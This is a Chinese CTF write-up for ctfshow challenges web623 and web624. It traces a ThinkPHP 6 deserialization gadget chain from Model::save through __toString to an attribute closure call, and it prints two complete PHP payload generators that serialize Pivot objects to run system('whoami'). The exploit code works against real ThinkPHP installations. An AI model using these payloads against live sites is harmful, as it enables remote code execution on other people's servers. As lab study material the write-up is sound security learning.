ctfshowthinkphp(续集二)

官方手册 本文为了做出ctfshow的thinkphp最后的TP6反序列化,利用网上知识,对反序列化进行复现挖掘

上一集thinkphp5.1.38反序列化

web623

具体版本我也不知道,首先环境弄好

1
2
3
composer create-project topthink/think tp6
cd tp6
php think run

然后访问发现能够正常启动,就说明环境是对的,再把东西放在小皮里面,创建一个网站,选择public为网站根目录即可,thinkphp都是这样,那么开始全局搜索入口点,找了一会发现仅有一个可以利用的vendor/topthink/think-orm/src/Model.php中找到了

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

// 写入回调
$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;

return true;
}

因为没有传入值,$this->setAttrs($data);不用看,由于不可能返回False,这里必须要跳出,所以empty也不用看了,看了一下这个函数trigger,是进行了

1

但是$this->withEvent默认为1,所以这里就是进行一个函数的调用,但是我们要的是true,所以$this->withEvent要为False,$result必须为True,所以跟进一下这两个方法,

1

checkData()没有返回,跟进$this->getChangedData()

1

  • $this->forcetrue时,强制返回所有当前数据,就可以把值给赋值到$data了,

继续跟进$this->checkAllowFields(),由于$this->field确实为空,所以

1

1

这里使用.进行拼接,会触发__toString(),我们就可以利用tp5的部分链子了

1
2
3
Conversion::__toString()
Conversion::toJson()
Conversion::toArray()

没有其他可利用的方法,所以就是这里了

1

$data = array_merge($this->data, $this->relation);将这个合并为键值对,继续跟进

1

11

1

$this->convertNameToCamel这里为空,$this->strict默认也是true,所以直接return,所以$fieldName$data一致,就直接返回了,那么getAttr()里面的$value就是我们传入的$data。跟进方法发现

1
2
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

这里就能直接RCE了,参数啥的太混了,自己慢慢写,能写出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"whoami"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));

web624

但是我是6.1.4来进行的测试也成功了,最后的方法变成了这个样子

1

由于加入了闭包,所以不能直接命令执行了,

1

跟进另外一个方法,看到这里很容易进行命令执行,但是前面的方法怎么过呢

in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])进行一个数组赋值就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

namespace think\model\concern;

trait Attribute
{
private $data = ["key" => ["key1" => "whoami"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

可以看到就变了这个部分,然后就通杀了,但是这怎么这么难啊,根本想不到